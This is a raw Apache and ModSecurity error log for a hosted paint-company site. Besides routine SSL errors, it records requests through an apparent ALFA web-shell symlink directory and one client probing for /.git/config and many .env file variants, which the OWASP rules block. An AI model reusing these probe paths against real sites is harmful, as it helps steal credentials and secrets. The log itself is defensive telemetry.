[Sat Oct 24 21:24:26.274725 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 184.73.47.24:20868] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:24:46.248269 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 52.71.203.206:19907] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:24:54.164048 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.204.81.148:49735] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:25:10.612477 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.84.147.79:15661] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:25:14.139644 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 3.89.170.186:17884] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:25:18.283480 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 35.174.141.243:20416] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:25:22.158059 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 52.44.174.136:15064] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:25:26.334348 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.203.237.170:33159] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:25:26.334537 2026] [security2:error] [pid 2684583:tid 2684583] [client 52.203.237.170:33159] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/LNXCPU:01/hid"] [unique_id "at1ahj8oejtZfsaip1YoywAAABE"]
[Sat Oct 24 21:25:26.334564 2026] [security2:error] [pid 2684583:tid 2684583] [client 52.203.237.170:33159] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/LNXCPU:01/hid"] [unique_id "at1ahj8oejtZfsaip1YoywAAABE"]
[Sat Oct 24 21:25:34.240535 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 54.85.109.140:62601] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:25:38.136072 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 18.215.112.101:3483] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:25:42.977319 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 85.208.96.199:23642] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-32/aliases
[Sat Oct 24 21:25:50.252799 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 44.210.213.220:1360] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:26:30.284615 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 98.83.177.42:55391] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:26:34.124820 2026] [core:error] [pid 2733464:tid 2733464] (13)Permission denied: [client 52.71.216.196:3353] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/resource2
[Sat Oct 24 21:26:50.413038 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 54.83.240.58:33653] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:03/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/driver/0000:00:03.0/driver/remove_id
[Sat Oct 24 21:26:54.200621 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 98.82.214.73:20104] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:26:56.212244 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 185.191.171.19:34144] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/cpu_slabs
[Sat Oct 24 21:26:58.192629 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.216.227.216:43699] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:27:06.143962 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.218.103.254:59126] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:27:18.127867 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.6.97.88:21374] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:27:34.139788 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 35.174.253.85:24972] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:27:42.278274 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 54.225.81.20:19029] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:27:47.766171 2026] [core:error] [pid 2731612:tid 2731612] (13)Permission denied: [client 85.208.96.204:48650] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_queue/cpu_slabs
[Sat Oct 24 21:27:50.242681 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.232.11.247:30025] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:27:58.153509 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 18.215.77.19:49675] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:28:06.151045 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 52.3.156.186:4798] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:28:18.517108 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 34.206.249.188:11336] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:28:22.133908 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 23.21.179.27:38724] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:28:38.141244 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 23.22.59.87:62217] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:28:46.142552 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.221.203.24:28235] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:28:50.123858 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 54.225.98.148:42897] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:28:58.130743 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 52.3.155.146:38018] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:29:01.999645 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1bXSTLSCb4RJ-3cSWVrwAAAAE"]
[Sat Oct 24 21:29:01.999948 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1bXSTLSCb4RJ-3cSWVrwAAAAE"]
[Sat Oct 24 21:29:02.000313 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1bXSTLSCb4RJ-3cSWVrwAAAAE"]
[Sat Oct 24 21:29:02.132297 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 44.221.227.90:61968] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:29:03.186602 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1bXyTLSCb4RJ-3cSWVsQAAAAE"]
[Sat Oct 24 21:29:03.186908 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1bXyTLSCb4RJ-3cSWVsQAAAAE"]
[Sat Oct 24 21:29:03.187349 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1bXyTLSCb4RJ-3cSWVsQAAAAE"]
[Sat Oct 24 21:29:03.774771 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1bXyTLSCb4RJ-3cSWVsgAAAAE"]
[Sat Oct 24 21:29:03.775011 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1bXyTLSCb4RJ-3cSWVsgAAAAE"]
[Sat Oct 24 21:29:03.775373 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1bXyTLSCb4RJ-3cSWVsgAAAAE"]
[Sat Oct 24 21:29:04.293839 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at1bYCTLSCb4RJ-3cSWVswAAAAE"]
[Sat Oct 24 21:29:04.294098 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at1bYCTLSCb4RJ-3cSWVswAAAAE"]
[Sat Oct 24 21:29:04.294419 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at1bYCTLSCb4RJ-3cSWVswAAAAE"]
[Sat Oct 24 21:29:04.376272 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at1bYCTLSCb4RJ-3cSWVtAAAAAE"]
[Sat Oct 24 21:29:04.376557 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at1bYCTLSCb4RJ-3cSWVtAAAAAE"]
[Sat Oct 24 21:29:04.376896 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at1bYCTLSCb4RJ-3cSWVtAAAAAE"]
[Sat Oct 24 21:29:04.807603 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at1bYCTLSCb4RJ-3cSWVtQAAAAE"]
[Sat Oct 24 21:29:04.807848 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at1bYCTLSCb4RJ-3cSWVtQAAAAE"]
[Sat Oct 24 21:29:04.808194 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at1bYCTLSCb4RJ-3cSWVtQAAAAE"]
[Sat Oct 24 21:29:05.554777 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at1bYSTLSCb4RJ-3cSWVtgAAAAE"]
[Sat Oct 24 21:29:05.555027 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at1bYSTLSCb4RJ-3cSWVtgAAAAE"]
[Sat Oct 24 21:29:05.555363 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at1bYSTLSCb4RJ-3cSWVtgAAAAE"]
[Sat Oct 24 21:29:05.858085 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at1bYSTLSCb4RJ-3cSWVtwAAAAE"]
[Sat Oct 24 21:29:05.858312 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at1bYSTLSCb4RJ-3cSWVtwAAAAE"]
[Sat Oct 24 21:29:05.858709 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at1bYSTLSCb4RJ-3cSWVtwAAAAE"]
[Sat Oct 24 21:29:06.001827 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at1bYiTLSCb4RJ-3cSWVuAAAAAE"]
[Sat Oct 24 21:29:06.002081 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at1bYiTLSCb4RJ-3cSWVuAAAAAE"]
[Sat Oct 24 21:29:06.002416 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at1bYiTLSCb4RJ-3cSWVuAAAAAE"]
[Sat Oct 24 21:29:06.130479 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at1bYiTLSCb4RJ-3cSWVuQAAAAE"]
[Sat Oct 24 21:29:06.130658 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at1bYiTLSCb4RJ-3cSWVuQAAAAE"]
